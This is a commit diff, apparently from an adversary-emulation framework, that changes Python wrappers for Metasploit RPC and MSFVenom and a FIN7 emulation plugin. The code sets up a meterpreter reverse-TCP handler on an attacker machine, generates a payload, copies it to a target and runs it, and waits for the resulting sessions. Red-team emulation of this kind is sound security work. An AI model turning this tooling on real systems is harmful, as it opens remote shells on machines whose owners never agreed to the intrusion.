waiting for session to be established

pull/7/head
Thorsten Sick 3 years ago
parent 058126f3ad
commit 1f9a0d444f

@ -36,6 +36,10 @@ class Metasploit():
time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'):
"""
@:returns: res, which contains "job_id" and "uuid"
"""
exploit = self.get_client().modules.use('exploit', exploit)
# print(exploit.description)
# print(exploit.missing_required)
@ -45,6 +49,7 @@ class Metasploit():
payload["LHOST"] = self.attacker.get_ip()
res = exploit.execute(payload=payload)
print(res)
return res
def start_msfrpcd(self, username):
""" Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """
@ -60,17 +65,25 @@ class Metasploit():
self.client = MsfRpcClient(self.password, **self.kwargs)
return self.client
def wait_for_session(self):
""" Wait until we get a session """
retries = 50
while self.get_client().sessions.list == {}:
time.sleep(1)
print(f"Waiting to get any session {retries}")
retries -= 1
if retries <= 0:
raise MetasploitError("Can not find any session")
def get_sid(self, session_number=0):
""" Get the first session between hacked target and the metasploit server
@param session_number: number of the session to get
"""
# TODO improve stability and speed
# print("Get SID")
while len(self.get_client().sessions.list) <= session_number:
time.sleep(1)
# print(f"DONE get sid {self.get_client().sessions.list}")
self.wait_for_session()
return list(self.get_client().sessions.list)[session_number]
def get_sid_to(self, target):
@ -79,6 +92,8 @@ class Metasploit():
@param target: a target machine to find in the session list
"""
print(f"Sessions: {self.get_client().sessions.list}")
# Get_ip can also return a network name. Matching a session needs a real ip
name_resolution_worked = True
try:
@ -245,7 +260,9 @@ class MSFVenom():
# Deploy to target
if self.attack_logger:
self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
self.target.put(src, self.target.get_playground())
playground = self.target.get_playground()
print(f"Putting to playground {playground}")
self.target.put(src, playground)
if self.attack_logger:
self.attack_logger.stop_file_write("", self.target.get_name(), payload_name)
@ -262,7 +279,8 @@ class MSFVenom():
if self.attack_logger:
self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
self.target.remote_run(cmd, disown=True)
res = self.target.remote_run(cmd, disown=True)
print(f"Running payload, result is {res}")
if self.attack_logger:
self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd)
self.attack_logger.vprint(

@ -33,6 +33,7 @@ class FIN7Plugin(AttackPlugin):
self.metasploit_1 = Metasploit(self.metasploit_password, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1)
self.metasploit_1.wait_for_session()
return self.metasploit_1
def step1(self):
@ -129,8 +130,6 @@ class FIN7Plugin(AttackPlugin):
# --encrypt xor : xor encrypt the results
# --encrypt-key m : the encryption key
self.attacker_machine_plugin.remote_run("sudo apt install msfpc") # MSFVenom needs to be installed
venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger)
venom.generate_and_deploy(payload=self.payload_type_1,
architecture="x64",
@ -305,6 +304,12 @@ class FIN7Plugin(AttackPlugin):
self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1)
def install(self):
""" Install tools for the attack """
# MSFVenom
self.attacker_machine_plugin.remote_run("sudo apt -y install msfpc") # MSFVenom needs to be installed
def run(self, targets):
""" Run the command

Loading…
Cancel
Save